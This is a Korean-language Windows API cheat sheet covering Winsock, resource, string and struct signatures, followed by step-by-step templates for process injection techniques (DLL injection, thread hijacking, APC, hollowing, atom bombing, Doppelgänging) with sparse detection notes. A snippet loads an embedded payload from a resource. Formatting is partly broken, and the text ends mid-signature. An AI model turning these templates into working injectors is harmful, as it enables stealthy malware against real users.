[WSASetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsasetlasterror)```c
void WSASetLastError(
int iError
); // Sets the error status for the last Windows Sockets operation.
WSAGetOverlappedResult```c BOOL WSAGetOverlappedResult( SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags ); // Determines the results of an overlapped operation on the specified socket.
[WSAIoctl](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaioctl)```c
int WSAIoctl(
SOCKET s,
DWORD dwIoControlCode,
LPVOID lpvInBuffer,
DWORD cbInBuffer,
LPVOID lpvOutBuffer,
DWORD cbOutBuffer,
LPDWORD lpcbBytesReturned,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
); // Controls the mode of a socket.
WSACreateEvent```c WSAEVENT WSACreateEvent( void ); // Creates a new event object.
[WSASetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasetevent)```c
BOOL WSASetEvent(
WSAEVENT hEvent
); // Sets the state of the specified event object to signaled.
WSAResetEvent```c BOOL WSAResetEvent( WSAEVENT hEvent ); // Sets the state of the specified event object to nonsignaled.
[WSACloseEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacloseevent)```c
BOOL WSACloseEvent(
WSAEVENT hEvent
); // Closes an open event object handle.
WSAWaitForMultipleEvents```c DWORD WSAWaitForMultipleEvents( DWORD cEvents, const WSAEVENT *lphEvents, BOOL fWaitAll, DWORD dwTimeout, BOOL fAlertable ); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.
### 리소스 관리
[FindResource](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea)```c
HRSRC FindResource(
[in, optional] HMODULE hModule, // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.
[in] LPCSTR lpName, // The name of the resource.
[in] LPCSTR lpType // The resource type.
); // Determines the location of a resource with the specified type and name in the specified module.
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
LoadResource```c HGLOBAL LoadResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource. [in] HRSRC hResInfo // A handle to the resource to be loaded. ); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.
```c
HGLOBAL resHandle = resHandle = LoadResource(NULL, res);
LockResource```c LPVOID LockResource( [in] HGLOBAL hResData // A handle to the resource to be accessed ); // Retrieves a pointer to the specified resource in memory.
```c
unsigned char * payload = (char *) LockResource(resHandle);
SizeofResource```c DWORD SizeofResource( [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource [in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource ); // Retrieves the size, in bytes, of the specified resource.
```c
unsigned int payload_len = SizeofResource(NULL, res);
#include <wchar.h> // for wide character string routines
### 문자열 길이```c
size_t wcslen(
const wchar_t *str
); // Returns the length of the given wide string.
[wcscpy]```c wchar_t *wcscpy( wchar_t *dest, const wchar_t *src ); // Copies the wide string from src to dest.
[wcsncpy]```c
wchar_t *wcsncpy(
wchar_t *dest,
const wchar_t *src,
size_t count
); // Copies at most count characters from the wide string src to dest.
[wcscat]```c wchar_t *wcscat( wchar_t *dest, const wchar_t *src ); // Appends the wide string src to the end of the wide string dest.
[wcsncat]```c
wchar_t *wcsncat(
wchar_t *dest,
const wchar_t *src,
size_t count
); // Appends at most count characters from the wide string src to the end of the wide string dest.
[wcscmp]```c int wcscmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically.
[wcsncmp]```c
int wcsncmp(
const wchar_t *str1,
const wchar_t *str2,
size_t count
); // Compares up to count characters of two wide strings lexicographically.
[_wcsicmp]```c int _wcsicmp( const wchar_t *str1, const wchar_t *str2 ); // Compares two wide strings lexicographically, ignoring case.
[_wcsnicmp]```c
int _wcsnicmp(
const wchar_t *str1,
const wchar_t *str2,
size_t count
); // Compares up to count characters of two wide strings lexicographically, ignoring case.
[wcschr]```c wchar_t *wcschr( const wchar_t *str, wchar_t c ); // Finds the first occurrence of the wide character c in the wide string str.
[wcsrchr]```c
wchar_t *wcsrchr(
const wchar_t *str,
wchar_t c
); // Finds the last occurrence of the wide character c in the wide string str.
[wcspbrk]```c wchar_t *wcspbrk( const wchar_t *str1, const wchar_t *str2 ); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.
[wcsstr]```c
wchar_t *wcsstr(
const wchar_t *str1,
const wchar_t *str2
); // Finds the first occurrence of the wide string str2 in the wide string str1.
[wcstok]```c wchar_t *wcstok( wchar_t *str, const wchar_t *delimiters ); // Splits the wide string str into tokens based on the delimiters.
### 문자 분류 및 변환
[towupper]```c
wint_t towupper(
wint_t c
); // Converts a wide character to uppercase.
[towlower]```c wint_t towlower( wint_t c ); // Converts a wide character to lowercase.
[iswalpha]```c
int iswalpha(
wint_t c
); // Checks if the wide character is an alphabetic character.
[iswdigit]```c int iswdigit( wint_t c ); // Checks if the wide character is a decimal digit.
[iswalnum]```c
int iswalnum(
wint_t c
); // Checks if the wide character is an alphanumeric character.
[iswspace]```c int iswspace( wint_t c ); // Checks if the wide character is a whitespace character.
[iswxdigit]```c
int iswxdigit(
wint_t c
); // Checks if the wide character is a valid hexadecimal digit.
SYSTEM_INFO```cpp
#include <sysinfoapi.h>
// Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size.
typedef struct _SYSTEM_INFO {
union {
DWORD dwOemId;
struct {
WORD wProcessorArchitecture;
WORD wReserved;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
DWORD dwPageSize;
LPVOID lpMinimumApplicationAddress;
LPVOID lpMaximumApplicationAddress;
DWORD_PTR dwActiveProcessorMask;
DWORD dwNumberOfProcessors;
DWORD dwProcessorType;
DWORD dwAllocationGranularity;
WORD wProcessorLevel;
WORD wProcessorRevision;
} SYSTEM_INFO;
[**`FILETIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime)```cpp
#include <minwinbase.h>
// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;
STARTUPINFO```cpp
#include <processthreadsapi.h>
// Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
[**`PROCESS_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information)```cpp
#include <processthreadsapi.h>
// Contains information about a newly created process and its primary thread.
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
PROCESSENTRY32```c
#include <tlhelp32.h>
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
[**`SECURITY_ATTRIBUTES`**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85))```cpp
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
OVERLAPPED```cpp
#inluce <minwinbase.h>
// Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations.
typedef struct _OVERLAPPED {
ULONG_PTR Internal;
ULONG_PTR InternalHigh;
union {
struct {
DWORD Offset;
DWORD OffsetHigh;
} DUMMYSTRUCTNAME;
PVOID Pointer;
} DUMMYUNIONNAME;
HANDLE hEvent;
} OVERLAPPED, *LPOVERLAPPED;
[**`GUID`**](https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid)```cpp
#include <guiddef.h>
// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.
typedef struct _GUID {
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
} GUID;
MEMORY_BASIC_INFORMATION```cpp
#include <winnt.h>
// Contains information about a range of pages in the virtual address space of a process.
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
[**`SYSTEMTIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime)```cpp
#include <minwinbase.h>
// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.
typedef struct _SYSTEMTIME {
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;
COORD```cpp
// Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner.
typedef struct _COORD {
SHORT X;
SHORT Y;
} COORD, *PCOORD;
[**`SMALL_RECT`**](https://docs.microsoft.com/en-us/windows/console/small-rect-str)```cpp
// Defines the coordinates of the upper left and lower right corners of a rectangle.
typedef struct _SMALL_RECT {
SHORT Left;
SHORT Top;
SHORT Right;
SHORT Bottom;
} SMALL_RECT;
CONSOLE_SCREEN_BUFFER_INFO```cpp
// Contains information about a console screen buffer.
typedef struct _CONSOLE_SCREEN_BUFFER_INFO {
COORD dwSize;
COORD dwCursorPosition;
WORD wAttributes;
SMALL_RECT srWindow;
COORD dwMaximumWindowSize;
} CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;
[**`WSADATA`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata)```cpp
#include <winsock.h>
// Contains information about the Windows Sockets implementation.
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR *lpVendorInfo;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
} WSADATA, *LPWSADATA;
[CRITICAL_SECTION](struct RTL_CRITICAL_SECTION (nirsoft.net))```c++
// Represents a critical section object, which is used to provide synchronization access to a shared resource.
typedef struct _RTL_CRITICAL_SECTION {
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread;
HANDLE LockSemaphore;
ULONG_PTR SpinCount;
} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
[**`WSAPROTOCOL_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infoa)```c++
#include <winsock2.h>
// Contains Windows Sockets protocol information.
typedef struct _WSAPROTOCOL_INFOA {
DWORD dwServiceFlags1;
DWORD dwServiceFlags2;
DWORD dwServiceFlags3;
DWORD dwServiceFlags4;
DWORD dwProviderFlags;
GUID ProviderId;
DWORD dwCatalogEntryId;
WSAPROTOCOLCHAIN ProtocolChain;
int iVersion;
int iAddressFamily;
int iMaxSockAddr;
int iMinSockAddr;
int iSocketType;
int iProtocol;
int iProtocolMaxOffset;
int iNetworkByteOrder;
int iSecurityScheme;
DWORD dwMessageSize;
DWORD dwProviderReserved;
CHAR szProtocol[WSAPROTOCOL_LEN+1];
} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;
MSGHDR```c++
#include <ws2def.h>
// Contains message information for use with the sendmsg and recvmsg functions.
typedef struct _WSAMSG {
LPSOCKADDR name;
INT namelen;
LPWSABUF lpBuffers;
ULONG dwBufferCount;
WSABUF Control;
ULONG dwFlags;
} WSAMSG, *PWSAMSG, *LPWSAMSG;
### Win32 소켓 구조체 치트 시트 (winsock.h)
[**`SOCKADDR`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr)```cpp
// A generic socket address structure used for compatibility with various address families.
typedef struct sockaddr {
u_short sa_family;
char sa_data[14];
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;
SOCKADDR_IN```cpp
// Represents an IPv4 socket address, containing the IPv4 address, port number, and address family.
typedef struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;
[**`LINGER`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-linger)```cpp
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.
typedef struct linger {
u_short l_onoff;
u_short l_linger;
} LINGER, *PLINGER, *LPLINGER;
TIMEVAL```cpp
// Represents a time interval, used with the select function to specify a timeout period.
typedef struct timeval {
long tv_sec;
long tv_usec;
} TIMEVAL, *PTIMEVAL, *LPTIMEVAL;
[**`FD_SET`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-fd_set)```cpp
// Represents a set of sockets used with the `select` function to check for socket events.
typedef struct fd_set {
u_int fd_count;
SOCKET fd_array[FD_SETSIZE];
} fd_set, *Pfd_set, *LPfd_set;
IN_ADDR```cpp
// Represents an IPv4 address.
typedef struct in_addr {
union {
struct {
u_char s_b1, s_b2, s_b3, s_b4;
} S_un_b;
struct {
u_short s_w1, s_w2;
} S_un_w;
u_long S_addr;
} S_un;
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
### Win32 소켓 구조체 치트 시트 (ws2def.h)
[**`ADDRINFO`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfow)```cpp
#include <ws2def.h>
// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.
typedef struct addrinfoW {
int ai_flags;
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;
PWSTR *ai_canonname;
struct sockaddr *ai_addr;
struct addrinfo *ai_next;
} ADDRINFOW, *PADDRINFOW;
WSABUF```cpp
#include <ws2def.h>
// Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations.
typedef struct _WSABUF {
ULONG len;
__field_bcount(len) CHAR FAR *buf;
} WSABUF, FAR * LPWSABUF;
[**`SOCKADDR_IN6`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2ipdef/ns-ws2ipdef-sockaddr_in6)```cpp
#include <ws2ipdef.h>
// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.
typedef struct sockaddr_in6 {
short sin6_family;
u_short sin6_port;
u_long sin6_flowinfo;
struct in6_addr sin6_addr;
u_long sin6_scope_id;
} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;
IN6_ADDR```cpp
#include <in6addr.h>
// Represents an IPv6 address.
typedef struct in6_addr {
union {
u_char Byte[16];
u_short Word[8];
} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
# 코드 인젝션 기법
## 1. DLL 인젝션
이 기법은 프로세스가 악성 DLL을 로드하도록 강제합니다.
주요 API:
- [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) ```c
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
VirtualAllocEx ```c
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
WriteProcessMemory ```c
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
CreateRemoteThread ```c
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
GetProcAddress ```c
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
- [`LoadLibrary`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) ```c
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
NtCreateThread (문서화되지 않음) ```c
NTSTATUS NTAPI NtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PINITIAL_TEB InitialTeb,
IN BOOLEAN CreateSuspended
);
RtlCreateUserThread (문서화되지 않음) ```c
NTSTATUS NTAPI RtlCreateUserThread(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientId
);
템플릿:
OpenProcess로 대상 프로세스를 엽니다VirtualAllocEx로 대상 프로세스에 메모리를 할당합니다WriteProcessMemory로 DLL 경로를 할당된 메모리에 씁니다GetProcAddress를 사용하여 LoadLibraryA의 주소를 가져옵니다CreateRemoteThread를 사용하여 대상 프로세스에 원격 스레드를 생성하고, lpStartAddress 매개변수로 LoadLibraryA의 주소를 전달하여 LoadLibraryA를 가리키게 합니다.NtCreateThread 또는 RtlCreateUserThread를 사용합니다탐지 및 방어:
이 기술은 원격 프로세스 또는 동일한 프로세스(자가 인젝션)에 악성 코드를 작성하고 실행하는 것을 포함합니다.
주요 API:
OpenThread ```c
HANDLE OpenThread(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwThreadId
);
SuspendThread ```c
DWORD SuspendThread(
HANDLE hThread
);
VirtualAllocEx (위 참조)WriteProcessMemory (위 참조)SetThreadContext ```c
BOOL SetThreadContext(
HANDLE hThread,
const CONTEXT *lpContext
);
ResumeThread ```c
DWORD ResumeThread(
HANDLE hThread
);
NtResumeThread (문서화되지 않음) ```c
NTSTATUS NTAPI NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
템플릿:
OpenThread로 대상 스레드를 엽니다.SuspendThread로 스레드를 일시 중단합니다.VirtualAllocEx로 대상 프로세스에 메모리를 할당합니다.WriteProcessMemory로 할당된 메모리에 악성 코드를 작성합니다.SetThreadContext로 스레드 컨텍스트를 수정하여 주입된 코드를 가리키도록 합니다.ResumeThread 또는 NtResumeThread로 스레드를 재개합니다.탐지 및 방어:
PE 인젝션과 유사하지만 LoadLibrary 및 CreateRemoteThread 사용을 피합니다. 표준 Windows 로더를 사용하지 않고 메모리에서 DLL을 로드할 수 있는 사용자 지정 로더를 작성하는 것이 포함됩니다.
주요 API:
CreateFileMapping ```c
HANDLE CreateFileMappingA(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCSTR lpName
);
MapViewOfFile ```c
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
);
OpenProcess (위 참조)memcpy ```c
void *memcpy(
void *dest,
const void *src,
size_t count
);
ZwMapViewOfSection (커널 모드용으로 문서화됨) ```c
NTSTATUS ZwMapViewOfSection(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
CreateThread (위의 CreateRemoteThread 참조)때때로 사용되는 추가 API:
VirtualQueryEx ```c
SIZE_T VirtualQueryEx(
HANDLE hProcess,
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
);
ReadProcessMemory ```c
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead
);
템플릿:
CreateFileMapping을 사용하여 DLL의 파일 매핑을 생성합니다.MapViewOfFile을 사용하여 파일 뷰를 매핑합니다.OpenProcess를 사용하여 대상 프로세스를 엽니다.VirtualAllocEx를 사용하여 대상 프로세스에 메모리를 할당합니다.WriteProcessMemory를 사용하여 할당된 메모리에 DLL 내용을 복사합니다.GetProcAddress를 사용하여 해당 주소를 해결합니다.탐지 및 방어:
이 기법은 APC(Asynchronous Procedure Call) 큐에 연결하여 특정 스레드에서 코드를 실행할 수 있게 합니다. 얼러터블 스레드(alertable wait 함수를 호출하는 스레드)에서 가장 잘 작동합니다.
주요 API:
CreateToolhelp32Snapshot ```c
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
Process32First ```c
BOOL Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
Process32Next ```c
BOOL Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
Thread32First ```c
BOOL Thread32First(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte
);
Thread32Next ```c
BOOL Thread32Next(
HANDLE hSnapshot,
LPTHREADENTRY32 lpte
);
Template:
CreateToolhelp32Snapshot으로 시스템 프로세스의 스냅샷을 생성합니다Process32First, Process32Next, Thread32First, Thread32Next를 사용하여 프로세스와 스레드를 열거합니다OpenProcess로 대상 프로세스를 엽니다VirtualAllocEx로 대상 프로세스에 메모리를 할당합니다WriteProcessMemory로 할당된 메모리에 악성 코드를 작성합니다QueueUserAPC로 주입된 코드를 가리키는 APC를 대상 스레드의 큐에 추가합니다탐지 및 방어:
이 기법은 프로세스의 전체 콘텐츠를 "빼내고" 그 안에 악성 콘텐츠를 삽입합니다.
주요 API:
CreateProcess ```c
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
NtQueryInformationProcess (문서화되지 않음) ```c
NTSTATUS NTAPI NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
GetModuleHandle ```c
HMODULE GetModuleHandleA(
LPCSTR lpModuleName
);
ZwUnmapViewOfSection / NtUnmapViewOfSection (문서화되지 않음) ```c
NTSTATUS NTAPI NtUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress
);
VirtualAllocEx (위 참조)템플릿:
CreateProcess를 CREATE_SUSPENDED 플래그와 함께 사용하여 일시 중단 상태로 새 프로세스를 생성합니다.NtQueryInformationProcess를 사용하여 프로세스 정보를 가져옵니다.NtUnmapViewOfSection을 사용하여 프로세스에서 원래 실행 파일을 언매핑한 후, PEB(Process Environment Block)의 이미지 베이스 주소를 새로 할당된 메모리를 가리키도록 조정합니다.ReadProcessMemory를 사용하여 PEB를 읽습니다.ImageBaseAddress 필드를 찾습니다.WriteProcessMemory를 사용하여 새로 할당된 메모리의 주소로 업데이트합니다.VirtualAllocEx로 대상 프로세스에 메모리를 할당합니다.WriteProcessMemory로 할당된 메모리에 악성 실행 파일을 작성합니다.GetThreadContext와 SetThreadContext를 사용하여 스레드 컨텍스트를 새 진입점을 가리키도록 업데이트합니다.ResumeThread로 프로세스의 메인 스레드를 재개합니다.탐지 및 방어:
CREATE_SUSPENDED 플래그를 사용하는 의심스러운 프로세스 생성 패턴을 모니터링합니다.APC 인젝션의 변형으로, 악성 페이로드를 개별 문자열로 분할하고 원자(atoms)를 사용하여 동작합니다. 이 기술은 원자가 프로세스 간에 공유된다는 사실에 의존합니다.
주요 API:
OpenThread (위 참조)GlobalAddAtom ```c
ATOM GlobalAddAtomA(
LPCSTR lpString
);
GlobalGetAtomName ```c
UINT GlobalGetAtomNameA(
ATOM nAtom,
LPSTR lpBuffer,
int nSize
);
QueueUserAPC (위 참조)NtQueueApcThread (문서화되지 않음, 위 참조)NtSetContextThread (문서화되지 않음) ```c
NTSTATUS NTAPI NtSetContextThread(
IN HANDLE ThreadHandle,
IN PCONTEXT ThreadContext
);
GlobalAddAtom을 사용하여 전역 원자(global atom)를 생성합니다OpenThread로 대상 스레드를 엽니다QueueUserAPC 또는 NtQueueApcThread로 대상 스레드에 APC를 큐에 넣습니다GlobalGetAtomName을 사용하여 페이로드 청크를 검색합니다NtSetContextThread를 사용하거나 다른 APC를 큐에 넣어 페이로드를 실행합니다감지 및 방어:
프로세스가 생성되기 전에 이미지를 교체하는 Process Hollowing의 진화된 기법입니다. 이 기술은 Windows 트랜잭션 NTFS(TxF)를 활용하여 프로세스 생성 중에 합법적인 파일을 악성 파일로 일시적으로 교체합니다.
주요 API:
CreateTransaction ```c
HANDLE CreateTransaction(
LPSECURITY_ATTRIBUTES lpTransactionAttributes,
LPGUID UOW,
DWORD CreateOptions,
DWORD IsolationLevel,
DWORD IsolationFlags,
DWORD Timeout,
LPWSTR Description
);
CreateFileTransacted ```c
HANDLE CreateFileTransactedA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile,
HANDLE hTransaction,
PUSHORT pusMiniVersion,
PVOID lpExtendedParameter
);
NtCreateSection (문서화되지 않음) ```c
NTSTATUS NTAPI NtCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL
);
- `NtCreateProcessEx` (문서화되지 않음) ```c
NTSTATUS NTAPI NtCreateProcessEx(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN ULONG Flags,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN BOOLEAN InJob
);
NtQueryInformationProcess (문서화되지 않음, 위 참조)NtCreateThreadEx (문서화되지 않음) ```c
NTSTATUS NTAPI NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL
);
RollbackTransaction ```c
BOOL RollbackTransaction(
HANDLE TransactionHandle
);
템플릿:
1. `CreateTransaction`을 사용하여 트랜잭션을 생성합니다.
2. `CreateFileTransacted`를 사용하여 트랜잭션 파일을 생성합니다.
3. 악성 페이로드를 트랜잭션 파일에 씁니다.
4. `NtCreateSection`을 사용하여 트랜잭션 파일에 대한 섹션을 생성합니다.
5. `NtCreateProcessEx`를 사용하여 섹션에서 프로세스를 생성합니다.
6. `NtCreateThreadEx`를 사용하여 새 프로세스에 스레드를 생성합니다.
7. `RollbackTransaction`을 사용하여 트랜잭션을 롤백하여 악성 파일의 흔적을 제거합니다.
탐지 및 방어:
- 의심스러운 트랜잭션 NTFS 작업을 모니터링합니다.
- 임시 파일 교체를 감지하기 위한 파일 무결성 모니터링을 구현합니다.
- Process Doppelgänging 기술을 감지할 수 있는 고급 EDR 솔루션을 사용합니다.
- 트랜잭션 파일에서 생성된 프로세스를 식별하기 위한 동작 기반 탐지를 사용합니다.
## 8. Process Herpaderping
Process Doppelgänging과 유사하지만 프로세스 생성 및 보안 검사의 순서를 악용합니다. 이 기술은 Windows가 프로세스 실행을 시작하기 전에 실행 파일에 대한 보안 검사를 수행한다는 사실을 악용합니다.
주요 API:
- [`CreateFile`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) ```c
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
